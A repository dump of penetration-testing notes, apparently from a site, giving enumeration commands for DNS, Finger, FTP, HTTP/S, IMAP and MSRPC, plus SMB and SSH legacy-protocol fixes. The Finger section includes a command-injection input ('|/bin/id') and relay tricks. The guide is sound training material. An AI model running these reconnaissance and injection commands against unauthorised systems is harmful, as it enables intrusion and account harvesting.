tool, or the `jar` command line utility. 12 | 13 | ### unzip 14 | ```sh 15 | unzip -d foo foo.jar 16 | ``` 17 | {{
}} 18 | - `-d `: extract files into dir. 19 | {{
}} 20 | 21 | ### jar 22 | ```sh 23 | jar -xf foo.jar 24 | ``` 25 | {{
}} 26 | - `-x`: extract named (or all) files from archive. 27 | - `-f `: specify archive file name. 28 | {{
}} 29 | 30 | ## Decompile Class Files 31 | 32 | Java class files are compiled files containing Java bytecode that can be executed by a Java Virtual Machine (JVM). To decompile and view the source code in plain text any Java decompiler can be used. 33 | [JAD](https://varaneckas.com/jad/) was the go-to for many years but only supports Java 1.4 or below. 34 | The [Java-Decompiler Project](https://java-decompiler.github.io/), [Procyon](https://bitbucket.org/mstrobel/procyon/wiki/Java%20Decompiler), and online tools like [DevToolZone's Java Decompiler](https://devtoolzone.com/decompiler/java) are good alternatives. 35 | 36 | ### procyon 37 | 38 | ```sh 39 | procyon foo.class 40 | ``` 41 | 42 | [^jar-spec]: “JAR File Specification.” JAVA SE Documentation, https://docs.oracle.com/javase/6/docs/technotes/guides/jar/jar.html#JARIndex. 43 | -------------------------------------------------------------------------------- /content/notes/smb-protocol-negotiation-failed.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: SMB Protocol Negotiation Failed 3 | bookToc: false 4 | --- 5 | 6 | # SMB Protocol Negotiation Failed 7 | 8 | Normally SMB takes care of choosing the appropriate protocol for each connection. However, if the offered protocols are out of client's default range, it will return an error message like this: 9 | 10 | ```sh 11 | Protocol negotiation failed: NT_STATUS_IO_TIMEOUT 12 | ``` 13 | 14 | ## Solution 15 | 16 | Edit the connection protocol range in the client configuration file. 17 | Add `client min protocol` and `client max protocol` settings to `/etc/samba/smb.conf` under `[global]`. 18 | 19 | ```sh 20 | # /etc/samba/smb.conf 21 | [global] 22 | client min protocol = CORE 23 | client max protocol = SMB3 24 | ``` 25 | -------------------------------------------------------------------------------- /content/notes/ssh-legacy-key-exchange.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: SSH Legacy Key Exchange 3 | bookToc: false 4 | --- 5 | 6 | # SSH Legacy Key Exchange Algorithm[^ssh-legacy] 7 | 8 | When an SSH client connects to a server, each side offers sets of connection parameters to the other. For a successful connection, there must be at least one mutually compatible set for each parameter. 9 | If the client and the server cannot agree on a mutual set, in this case, the key exchange algorithm, the connection will fail and OpenSSH will return an error message like this: 10 | 11 | ```sh 12 | Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 13 | ``` 14 | 15 | The server offered `diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1`. OpenSSH supports these methods but does not enable it by default because is weak and within the theoretical range of the so-called Logjam attack. 16 | 17 | More about the Logjam attack in [Imperfect Forward Secrecy:How Diffie-Hellman Fails in Practice](https://weakdh.org/). 18 | 19 | ## Solution 20 | 21 | **If upgrading is not immediately possible** you can re-enable the algorithms either on the command-line: 22 | 23 | ```sh 24 | ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@10.10.10.7 25 | ``` 26 | 27 | or in the `~/.ssh/config` file: 28 | 29 | ```sh 30 | Host 10.10.10.7 31 | KexAlgorithms +diffie-hellman-group1-sha1 32 | ``` 33 | 34 | [^ssh-legacy]: “OpenSSH: Legacy Options.” OpenSSH, https://www.openssh.com/legacy.html. 35 | -------------------------------------------------------------------------------- /content/services/_index.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "Service Enumeration" 3 | title: "Service Enumeration and Pentesting" 4 | weight: 201 5 | bookToc: false 6 | bookCollapseSection: true 7 | --- 8 | 9 | # Service Enumeration and Pentesting 10 | 11 | | Ports | Service | Description | 12 | |-----------------|-----------------------|-----------------------------------| 13 | | 21 | [FTP](ftp/) | File Transfer Protocol | 14 | | 25 / 465 / 587 | [SMTP/S](smtp/) | Simple Mail Transfer Protocol | 15 | | 53 | [DNS](dns/) | Domain Name Systems | 16 | | 79 | [Finger](finger/) | Finger User Information Protocol | 17 | | 80 / 443 | [HTTP/S](http-https/) | Hypertext Transfer Protocol | 18 | | 110 / 995 | [POP/S](pop/) | Post Office Protocol | 19 | | 119 / 433 / 563 | [NTTP/S](nntp/) | Network News Transfer Protocol | 20 | | 135 | [MSRPC](msrpc/) | Microsoft Remote Procedure Call | 21 | | 137 / 138/ 139 | [NetBIOS](netbios/) | Network Basic Input/Output System | 22 | | 139 / 445 | [SMB](smb/) | Server Message Block | 23 | | 143 / 993 | [IMAP](imap/) | Internet Message Access Protocol | 24 | -------------------------------------------------------------------------------- /content/services/dns.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "DNS - 53" 3 | title: "DNS (Domain Name Systems) Service Enumeration" 4 | weight: 53 5 | --- 6 | # DNS (Domain Name Systems) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Port:** 53 12 | {{}} 13 | 14 | The Domain Name System (DNS) is a hierarchical and decentralized naming system for computers, services, and other resources connected to a network. 15 | It associates different information with domain names assigned to each of the participating entities. Most prominently, it translates more easily memorized domain names to the numerical IP addresses needed for identifying computer services and devices with the underlying network protocols. [^wiki-dns] 16 | 17 | ## TCP and UDP 18 | 19 | By default, DNS uses UDP on port 53 to serve requests. When the size of the request, or the response, exceeds the single packet size of 512 bytes, the query is re-sent using TCP. Multiple records responses, IPv6 responses, big TXT records, DNSSEC responses, and **zone transfers** are some examples of these requests. 20 | 21 | {{}} 22 | When DNS is running on TCP, it is worth checking if [zone trasfer]({{< ref "#zone-transfer" >}}) is enabled. 23 | {{}} 24 | 25 | ## Banner Grabbing 26 | 27 | DNS does not provide an information banner _per se_ but BIND DNS exposes its version by default. [^dns-banner-grabbing] 28 | 29 | {{}} 30 | The `version.bind` directive is stored under the `options` section in the `/etc/named.conf` configuration file. 31 | {{}} 32 | 33 | #### dig 34 | 35 | ```sh 36 | dig version.bind CHAOS TXT @{{< param "war.rhost" >}} 37 | ``` 38 | 39 | #### [dns-nsid](https://nmap.org/nsedoc/scripts/dns-nsid.html) NSE Script 40 | 41 | ```sh 42 | nmap -sV --script dns-nsid -p53 -Pn {{< param "war.rhost" >}} 43 | ``` 44 | 45 | ## DNS Exploits Search 46 | 47 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 48 | 49 | ## Zone Transfer 50 | 51 | DNS reconnaissance is especially valuable during the information gathering stage since it could reveal crucial information about the domain and the infrastructure. But it can also reveal new attack vectors, for example, if Virtual Routing is enabled. 52 | 53 | A zone transfer is the process where a DNS server, usually a Master server, passes a copy of a **zone** to another DNS server, usually a Slave server. Ideally, these transfers are limited to certain IPs, but misconfigured servers allow these transfers to anyone _asking_ for them. 54 | 55 | ### dig 56 | ```sh 57 | dig axfr @{{< param "war.rhost" >}} domain 58 | ``` 59 | {{
}} 60 | - `axfr`: initiate an *AXFR* zone transfer query. 61 | - `@{{< param "war.rhost" >}}`: name or IP of the server to query. 62 | - `domain`: name of the resource record that is to be looked up. 63 | {{
}} 64 | 65 | {{}} 66 | It is worth trying to initiate a zone transfer without a domain. 67 | {{}} 68 | 69 | ## Configuration files 70 | 71 | Examine configuration files.[^0daysec-enum] 72 | 73 | ``` 74 | host.conf 75 | resolv.conf 76 | named.conf 77 | ``` 78 | 79 | ## Further Reading 80 | 81 | - [SANS Securing DNS Zone Transfer](https://www.sans.org/reading-room/whitepapers/dns/securing-dns-zone-transfer-868) 82 | - [What the internet looke like in 1982](https://blog.ted.com/what-the-internet-looked-like-in-1982-a-closer-look-at-danny-hillis-vintage-directory-of-users/) 83 | 84 | [^wiki-dns]: Contributors to Wikimedia projects. “Domain Name System - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 20 Aug. 2001, https://en.wikipedia.org/wiki/Domain_Name_System. 85 | [^0daysec-enum]: “Penetration Testing Methodology” 0DAYsecurity.Com, http://www.0daysecurity.com/penetration-testing/enumeration.html. 86 | [^dns-banner-grabbing]: “Determining BIND DNS Version Using Dig.” OSI Security - Penetration Testing & Web Application Security Consultants, https://www.osi.security/blog/determining-bind-dns-version-using-dig. 87 | -------------------------------------------------------------------------------- /content/services/finger.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "Finger - 79" 3 | title: "Name/Finger (User Information Protocol) Service Enumeration" 4 | weight: 79 5 | --- 6 | # Finger (User Information Protocol) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Port**: 79 12 | {{}} 13 | 14 | The Finger User Information Protocol ([RFC 1288](https://tools.ietf.org/html/rfc1288)), 15 | is a simple protocol that provides 16 | an interface to a remote user information program (RUIP). 17 | [^rfc-1288] 18 | 19 | ## Banner Grabbing 20 | 21 | #### Telnet 22 | 23 | ```sh 24 | telnet {{< param "war.rhost" >}} 79 25 | ``` 26 | 27 | #### Netcat 28 | ```sh 29 | echo "root" | nc -n {{< param "war.rhost" >}} 79 30 | ``` 31 | 32 | ## Enumeration 33 | 34 | ### Tools 35 | 36 | - [PentestMonkey - finger-user-enum](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum) 37 | 38 | ### Fast Enum 39 | 40 | ```sh 41 | for q in 'root' 'admin' 'user' '0' "'a b c d e f g h'" '|/bin/id';do echo "FINGER: $q"; finger "$q@{{< param "war.rhost" >}}"; echo -e "\n";done 42 | ``` 43 | 44 | #### Finger [^finger] 45 | 46 | List logged users. 47 | 48 | ```sh 49 | finger @{{< param "war.rhost" >}} 50 | ``` 51 | Finger a specific user. 52 | ```sh 53 | finger -l root@{{< param "war.rhost" >}} 54 | ``` 55 | Enumerate users containing `user`. 56 | ```sh 57 | finger -l user@{{< param "war.rhost" >}} 58 | ``` 59 | 60 | {{}} 61 | Try other words as: `admin`, `account` or `project`. 62 | {{}} 63 | 64 | {{
}} 65 | - `-l`: Multi-line format. Displays all the information. 66 | {{
}} 67 | 68 | ### Finger Zero [^cve-1999-0197] 69 | 70 | `fingerd` may respond to `finger 0@` 71 | with information on some user accounts. 72 | 73 | ```sh 74 | finger 0@{{< param "war.rhost" >}} 75 | ``` 76 | 77 | ### Finger 'a b c d e f g h' [^cve-2001-1503] 78 | 79 | `fingerd` may respond to `'a b c d e f g h'@` 80 | with information on all accounts. 81 | 82 | ```sh 83 | finger 'a b c d e f g h'@{{< param "war.rhost" >}} 84 | ``` 85 | 86 | ## Finger Bouncing [^finger-bouncing] 87 | 88 | `finger` can be used to relay a request 89 | to a different host 90 | as if it were sent from that machine. 91 | 92 | ```sh 93 | finger @{{< param "war.rhost" >}}@10.10.10.4 94 | ``` 95 | 96 | ```sh 97 | finger root@{{< param "war.rhost" >}}@10.10.10.4 98 | ``` 99 | 100 | ## Command Execution [^cve-1999-0152] 101 | 102 | `fingerd` allows remote command execution 103 | through shell metacharacters. 104 | 105 | ```sh 106 | finger "|/bin/id@{{< param "war.rhost" >}}" 107 | ``` 108 | 109 | ## Finger Exploits Search 110 | 111 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 112 | 113 | [^rfc-1288]: “RFC 1288 - The Finger User Information Protocol.” IETF Tools, https://tools.ietf.org/html/rfc1288. 114 | [^finger]: “Finger(1): User Info Lookup Program.” Linux Documentation, https://linux.die.net/man/1/finger. 115 | [^cve-1999-0197]: “CVE - CVE-1999-0197.” CVE - Common Vulnerabilities and Exposures (CVE), https://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0197. 116 | [^cve-2001-1503]: “CVE - CVE-2001-1503.” CVE - Common Vulnerabilities and Exposures (CVE), https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1503. 117 | [^finger-bouncing]: “‘Solaris 2.7 Allows Finger Bouncing’ .” SecuriTeam, 15 Jan. 1999, https://securiteam.com/exploits/2BUQ2RFQ0I/. 118 | [^cve-1999-0152]: “CVE - CVE-1999-0152.” CVE -  Common Vulnerabilities and Exposures (CVE), https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0152. 119 | -------------------------------------------------------------------------------- /content/services/ftp.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "FTP - 21" 3 | title: "FTP (File Transfer Protocol) Service Enumeration" 4 | weight: 21 5 | --- 6 | # FTP (File Transfer Protocol) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Port:** 21 12 | {{}} 13 | 14 | FTP is a standard network protocol used for the transfer of files between a client and a server on a computer network. 15 | FTP is built on a client-server architecture using separate control and data connections between the client and the server. FTP authenticates users with a clear-text sign-in protocol, normally in the form of a username and password, but can connect anonymously if the server is configured to allow it. [^wiki-ftp] 16 | 17 | ## Banner Grabbing 18 | 19 | #### Telnet 20 | 21 | ```sh 22 | telnet {{< param "war.rhost" >}} 21 23 | ``` 24 | 25 | #### Netcat 26 | ```sh 27 | nc -n {{< param "war.rhost" >}} 21 28 | ``` 29 | 30 | #### [banner](https://nmap.org/nsedoc/scripts/banner.html) NSE Script 31 | ```sh 32 | nmap -sV -script banner -p21 -Pn {{< param "war.rhost" >}} 33 | ``` 34 | 35 | #### FTP 36 | ```sh 37 | ftp {{< param "war.rhost" >}} 38 | ``` 39 | 40 | ## FTP Exploits Search 41 | 42 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 43 | 44 | ## Anonymous Login 45 | 46 | {{}} 47 | During the [port scanning]({{< ref "port-scanning" >}}) phase Nmap's script scan (`-sC`), can be enabled to check for [FTP Bounce](https://nmap.org/nsedoc/scripts/ftp-bounce.html) and [Anonymous Login](https://nmap.org/nsedoc/scripts/ftp-anon.html). 48 | {{}} 49 | 50 | Try anonymous login using `anonymous:anonymous` credentials. 51 | 52 | ```sh 53 | ftp {{< param "war.rhost" >}} 54 | … 55 | Name ({{< param "war.rhost" >}}:kali): anonymous 56 | 331 Please specify the password. 57 | Password: [anonymous] 58 | 230 Login successful. 59 | ``` 60 | 61 | List **all** files in order. 62 | 63 | ```sh 64 | ftp> ls -lat 65 | 200 PORT command successful. Consider using PASV. 66 | 150 Here comes the directory listing. 67 | … 68 | 226 Directory send OK. 69 | ``` 70 | 71 | ## FTP Browser Client 72 | 73 | {{}} 74 | Due to its insecure nature, FTP support is being dropped by [Firefox](https://bugzilla.mozilla.org/show_bug.cgi?id=1574475) and [Google Chrome](https://chromestatus.com/feature/6246151319715840). 75 | {{}} 76 | 77 | Try accessing `ftp://user:pass@{{< param "war.rhost" >}}` from your browser. 78 | If not credentials provided `anonymous:anonymous` is assumed. 79 | 80 | ## Brute Forcing 81 | 82 | Refer to [FTP Brute Forcing]({{< ref "brute-forcing#ftp">}}) 83 | 84 | {{}} 85 | [SecLists](https://github.com/danielmiessler/SecLists) includes a handy list of [FTP default credentials](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt). 86 | {{}} 87 | 88 | ## Configuration files 89 | 90 | Examine configuration files.[^0daysec-enum] 91 | 92 | ``` 93 | ftpusers 94 | ftp.conf 95 | proftpd.conf 96 | ``` 97 | 98 | ## Miscellaneous 99 | 100 | ### Binary and ASCII 101 | 102 | Binary and ASCII files have to be uploading using the `binary` or `ascii` mode respectively, otherwise, the file will become corrupted. Use the corresponding command to switch between modes.[^w3c-ftp-transfer] 103 | 104 | ### Recursively Download 105 | 106 | Recursively download FTP folder content.[^so-ftp-mirroring] 107 | 108 | ```sh 109 | wget -m ftp://user:pass@{{< param "war.rhost" >}}/ 110 | ``` 111 | 112 | [^wiki-ftp]: Contributors to Wikimedia projects. “File Transfer Protocol - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 24 May 2002, https://en.wikipedia.org/wiki/File_Transfer_Protocol. 113 | [^so-ftp-mirroring]: Thibaut Barrère. “Command Line - How to Recursively Download a Folder via FTP on Linux - Stack Overflow.” Stack Overflow, https://stackoverflow.com/a/113900/578050. 114 | [^0daysec-enum]: “Penetration Testing Methodology” 0DAYsecurity.Com, http://www.0daysecurity.com/penetration-testing/enumeration.html. 115 | [^w3c-ftp-transfer]: “RFC959: FTP: Data Transfer Functions.” World Wide Web Consortium (W3C), https://www.w3.org/Protocols/rfc959/3_DataTransfer.html. 116 | -------------------------------------------------------------------------------- /content/services/http-https.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: HTTP/S - 80 / 443 3 | title: "HTTP/S (Hypertext Transfer Protocol Secure) Service Enumeration" 4 | weight: 80 5 | --- 6 | # HTTP/S (Hypertext Transfer Protocol / Secure) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Ports** 12 | - HTTP: 80 13 | - HTTPS (HTTP over TLS or SSL): 443 14 | {{}} 15 | 16 | HTTP is an application-level protocol 17 | for distributed hypermedia information systems. 18 | It is the standard protocol that defines 19 | how messages are formatted 20 | and sent across the web. 21 | 22 | HTTPS (Hypertext Transfer Protocol Secure) is an extension of HTTP. 23 | In HTTPS, the communication protocol is encrypted using Transport Layer Security (TLS) or, 24 | formerly, 25 | Secure Sockets Layer (SSL). 26 | Therefore, 27 | the protocol is also referred to 28 | as HTTP over TLS or HTTP over SSL. 29 | 30 | ## Banner Grabbing 31 | 32 | HTTP 33 | 34 | #### Netcat 35 | ```sh 36 | nc {{< param "war.rdomain" >}} 80 37 | ``` 38 | 39 | HTTPS 40 | 41 | #### openssl [^openssl] 42 | ```sh 43 | openssl s_client -connect {{< param "war.rdomain" >}}:443 44 | ``` 45 | {{
}} 46 | - `s_client`: SSL/TLS client program. 47 | {{
}} 48 | 49 | ## Directory Enumeration 50 | 51 | Enumerate files and directories. 52 | Look for **unlinked content**, 53 | **temporary directories**, 54 | and **backups**. 55 | Widely used tools include 56 | [dirbuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project), 57 | [gobuster](https://github.com/OJ/gobuster), 58 | [dirb](https://sourceforge.net/projects/dirb/), 59 | and [Burp Suite](https://portswigger.net/burp). 60 | 61 | ### Wordlists 62 | 63 | Included in [Kali's wordlists package](https://tools.kali.org/password-attacks/wordlists) 64 | under `/usr/share/wordlists`. 65 | 66 | - `/dirbuster/directory-list-2.3-medium.txt` ( 1.9M - 220560 lines ) 67 | - `/dirbuster/directory-list-2.3-small.txt` ( 709K - 87664 lines ) 68 | - `/dirb/common.txt` ( 36K - 4614 lines ) 69 | - `/dirb/big.txt` ( 180K - 20469 lines ) 70 | 71 | Other lists. 72 | 73 | - Jhaddix's [`content_discovery_all.txt`](https://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) ( 5.9M - 373535 lines ) 74 | - Daniel Miessler's [Web Content Discovery](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content). 75 | 76 | {{}} 77 | For more wordlists 78 | refer to [Wordlists]({{< ref "brute-forcing#wordlists">}}) 79 | and [Wordlist Generaion]({{< ref "brute-forcing#wordlist-generation">}}). 80 | {{}} 81 | 82 | ### gobuster [^gobuster] 83 | 84 | ```sh 85 | gobuster dir -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://{{< param "war.rhost" >}}/ 86 | ``` 87 | {{
}} 88 | - `dir`: directory brute-forcing mode. 89 | - `-t `: number of concurrent threads (default 10). 90 | - `-w `: path to the wordlist. 91 | - `-u `: target URL. 92 | {{
}} 93 | 94 | {{}} 95 | - Iterate over the results. 96 | - Include status code 403 (Forbidden Error) and brutefoce these directories. 97 | - Add more file extensions to search for; In `gobuster`: `-x sh,pl`. 98 | {{}} 99 | 100 | ## Source Code 101 | 102 | ### Inspect 103 | 104 | It is a good habit to take a quick look at the pages' source code, scripts, and console outputs. 105 | 106 | To active `View Source`, context-click on the page and select `View Page Source` or with the `Ctrl+U` or `Cmd+U` shortcut. 107 | 108 | {{}} 109 | Many browsers include a powerful suite of tools, also known as devtools, to inspect and interact with the target website. 110 | {{}} 111 | 112 | ### Download 113 | 114 | If the target uses an open-source app, downloading its codebase will provide helpful information about configuration files, open resources, **default credentials**, etc. 115 | 116 | [^gobuster]: Reeves, OJ. “GitHub - OJ/Gobuster.” GitHub, https://github.com/OJ/gobuster. 117 | [^dirb]: Pinuaga, Ramon. “DIRB .” DIRB Homepage, http://dirb.sourceforge.net/. 118 | [^openssl]: OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.html. 119 | -------------------------------------------------------------------------------- /content/services/imap.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "IMAP - 143 / 993" 3 | title: "IMAP (Internet Message Access Protocol) Service Enumeration" 4 | weight: 143 5 | --- 6 | # IMAP (Internet Message Access Protocol) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Ports** 12 | - IMAP: 143 13 | - IMAPS (IMAP over SSL): 993 14 | {{}} 15 | 16 | IMAP is an application-layer protocol 17 | used by email clients 18 | to retrieve messages from a mail server. 19 | It was designed to 20 | manage multiple email clients, 21 | therefore clients generally 22 | leave messages on the server 23 | until the user explicitly deletes them. 24 | [^imap-wiki] 25 | 26 | ## Banner Grabbing 27 | 28 | #### Telnet 29 | ```sh 30 | telnet {{< param "war.rhost" >}} 143 31 | ``` 32 | 33 | #### Netcat 34 | ```sh 35 | nc -n {{< param "war.rhost" >}} 143 36 | ``` 37 | 38 | #### openssl [^openssl] 39 | ```sh 40 | openssl s_client -connect {{< param "war.rhost" >}}:993 41 | ``` 42 | {{
}} 43 | - `s_client`: SSL/TLS client program. 44 | {{
}} 45 | 46 | ## NTLM Information Disclosure 47 | 48 | See [SMTP NTLM Information Disclosure]({{< ref "smtp#ntlm-information-disclosure" >}}) 49 | 50 | #### Manually 51 | 52 | ```sh 53 | telnet {{< param "war.rdomain" >}} 143 54 | ... 55 | >> a1 AUTHENTICATE NTLM 56 | + 57 | >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 58 | + TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA 59 | ``` 60 | 61 | #### [imap-ntlm-info](https://nmap.org/nsedoc/scripts/imap-ntlm-info.html) NSE Script 62 | 63 | ```sh 64 | nmap -p 143,993 --script imap-ntlm-info {{< param "war.rhost" >}} 65 | ``` 66 | 67 | ## IMAP Exploits Search 68 | 69 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 70 | 71 | [^imap-wiki]: Contributors to Wikimedia projects. “Internet Message Access Protocol - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 7 Sept. 2001, https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol. 72 | [^openssl]: OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.html. 73 | -------------------------------------------------------------------------------- /content/services/msrpc.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "MSRPC - 135 / 593" 3 | title: "MSRPC (Microsoft Remote Procedure Call) Service Enumeration" 4 | weight: 135 5 | --- 6 | # MSRPC (Microsoft Remote Procedure Call) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Ports**: 12 | - RPC Endpoint Mapper: 135 13 | - HTTP: 593 14 | {{}} 15 | 16 | MSRPC is an interprocess communication (IPC) mechanism 17 | that allows client/server software communcation. 18 | That process can be on the same computer, 19 | on the local network (LAN), 20 | or across the Internet. 21 | Its purpose is to 22 | provide a common interface 23 | between applications. 24 | 25 | Within Windows environments, 26 | many server applications 27 | are exposed via RPC. 28 | 29 | The Microsoft RPC mechanism 30 | uses other IPC mechanisms, 31 | such as named pipes, 32 | [NetBIOS]({{< ref "netbios" >}}) 33 | or Winsock, 34 | to establish communications 35 | between the client and the server. 36 | Along with `IPC$` transport, 37 | TCP, UDP, and HTTP 38 | are used to provide access to services 39 | 40 | {{< figure src="/images/msrpc.png" alt="MSRPC" title="Source: Network Security Assesment 3rd Edition." >}} 41 | 42 | The RPC locator service 43 | works much like the RPC portmapper service 44 | found in Unix environments.[^ms-rpc] 45 | 46 | ## Enumeration 47 | 48 | You can query the RPC locator service 49 | and individual RPC endpoints 50 | to catalog services running over 51 | TCP, UDP, HTTP, and SMB (via named pipes). 52 | 53 | Each returned IFID value 54 | represents an RPC service. 55 | See [Notable RPC Interfaces](#notable-rpc-interfaces-oreilly-net-assesment). 56 | 57 | By default, `impacket` 58 | will try to match them 59 | with a list of well known endpoints. 60 | [^oreilly-net-assesment] 61 | 62 | #### impacket `pcdump.py` [^impacket] 63 | 64 | Dump the list of RPC endpoints. 65 | 66 | ```sh 67 | rpcdump.py {{< param "war.rhost" >}} 68 | ``` 69 | {{
}} 70 | - `target`: `[[domain/]username[:password]@]address` 71 | - `-port `: Destination port to connect to SMB server. Default: 135. 72 | {{
}} 73 | 74 | #### impacket `samrdump.py` [^impacket] 75 | 76 | List system user accounts, 77 | available resource shares 78 | and other sensitive information 79 | exported through the SAMR (Security Account Manager Remote) interface. 80 | 81 | ```sh 82 | samrdump.py {{< param "war.rhost" >}} 83 | ``` 84 | {{
}} 85 | - `target`: `[[domain/]username[:password]@]address` 86 | - `-port `: Destination port to connect to SMB server. Default: 445. 87 | {{
}} 88 | 89 | #### [msrpc-enum](https://nmap.org/nsedoc/scripts/msrpc-enum.html) NSE Script 90 | ```sh 91 | nmap -sV -script msrpc-enum -Pn {{< param "war.rhost" >}} 92 | ``` 93 | 94 | ## Query RPC 95 | 96 | The `rpcclient` can be used to interact with 97 | individual RPC endpoints via named pipes. 98 | By default, 99 | Windows systems and Windows 2003 domain controllers 100 | allow anonymous ([Null Sessions]({{< ref "smb#null-session">}})) access to SMB, 101 | so these interfaces 102 | can be queried in this way. 103 | 104 | {{}} 105 | If null session access 106 | is not permitted, 107 | a valid username and password must be provided. 108 | {{}} 109 | 110 | #### rpcclient [^rpcclient] 111 | ```sh 112 | rpcclient -U "" -N {{< param "war.rhost" >}} 113 | ``` 114 | {{
}} 115 | - `-U`: Set the network username. 116 | - `-N`: Don't ask for a password. 117 | {{
}} 118 | 119 | Commands that you can issue to SAMR, LSARPC, and LSARPC-DS.[^oreilly-net-assesment] 120 | 121 | | Command | Interface | Description | 122 | |-----------------------|-----------|-----------------------------------------------| 123 | | `queryuser` | SAMR | Retrieve user information. | 124 | | `querygroup` | SAMR | Retrieve group information. | 125 | | `querydominfo` | SAMR | Retrieve domain information. | 126 | | `enumdomusers` | SAMR | Enumerate domain users. | 127 | | `enumdomgroups` | SAMR | Enumerate domain groups. | 128 | | `createdomuser` | SAMR | Create a domain user. | 129 | | `deletedomuser` | SAMR | Delete a domain user. | 130 | | `lookupnames` | LSARPC | Look up usernames to SID values. | 131 | | `lookupsids` | LSARPC | Look up SIDs to usernames (RID cycling). | 132 | | `lsaaddacctrights` | LSARPC | Add rights to a user account. | 133 | | `lsaremoveacctrights` | LSARPC | Remove rights from a user account. | 134 | | `dsroledominfo` | LSARPC-DS | Get primary domain information. | 135 | | `dsenumdomtrusts` | LSARPC-DS | Enumerate trusted domains within an AD forest | 136 | 137 | ## Notable RPC Interfaces [^oreilly-net-assesment] 138 | 139 | **IFID**: 12345778-1234-abcd-ef00-0123456789ab\ 140 | **Named Pipe**: `\pipe\lsarpc`\ 141 | **Description**: LSA interface, used to enumerate users. 142 | 143 | **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5\ 144 | **Named Pipe**: `\pipe\lsarpc`\ 145 | **Description**: LSA Directory Services (DS) interface, used to enumerate domains and trust relationships. 146 | 147 | **IFID**: 12345778-1234-abcd-ef00-0123456789ac\ 148 | **Named Pipe**: `\pipe\samr`\ 149 | **Description**: LSA SAMR interface, used to access public SAM database elements (e.g., usernames) and brute-force user passwords regardless of account lockout policy. 150 | 151 | **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b\ 152 | **Named Pipe**: `\pipe\atsvc`\ 153 | **Description**: Task scheduler, used to remotely execute commands. 154 | 155 | 156 | **IFID**: 338cd001-2244-31f1-aaaa-900038001003\ 157 | **Named Pipe**: `\pipe\winreg`\ 158 | **Description**: Remote registry service, used to access and modify the system registry. 159 | 160 | 161 | **IFID**: 367abb81-9844-35f1-ad32-98f038001003\ 162 | **Named Pipe**: `\pipe\svcctl`\ 163 | **Description**: Service control manager and server services, used to remotely start and stop services and execute commands. 164 | 165 | 166 | **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188\ 167 | **Named Pipe**: `\pipe\srvsvc`\ 168 | **Description**: Service control manager and server services, used to remotely start and stop services and execute commands. 169 | 170 | 171 | **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57\ 172 | **Named Pipe**: `\pipe\epmapper`\ 173 | **Description**: DCOM interface, used for brute-force password grinding and information gathering via WM. 174 | 175 | ## Further Reading 176 | 177 | - [Impacket | SecureAuth](https://www.secureauth.com/labs/open-source-tools/impacket) 178 | 179 | [^ms-rpc]: “How RPC Works: Remote Procedure Call (RPC).” Technical Documentation, API, and Code Examples | Microsoft Docs, https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc738291(v=ws.10)?redirectedfrom=MSDN. 180 | [^oreilly-net-assesment]: McNab, Chris. Network Security Assessment, 3rd Edition. O’Reilly Media, Inc., 2016. 181 | [^impacket]: “Impacket | SecureAuth.” SecureAuth, https://www.secureauth.com/labs/open-source-tools/impacket. 182 | [^rpcclient]: “Rpcclient(1) - Linux Man Page.” Linux Documentation, https://linux.die.net/man/1/rpcclient. 183 | -------------------------------------------------------------------------------- /content/services/netbios.md: -------------------------------------------------------------------------------- 1 | --- 2 | 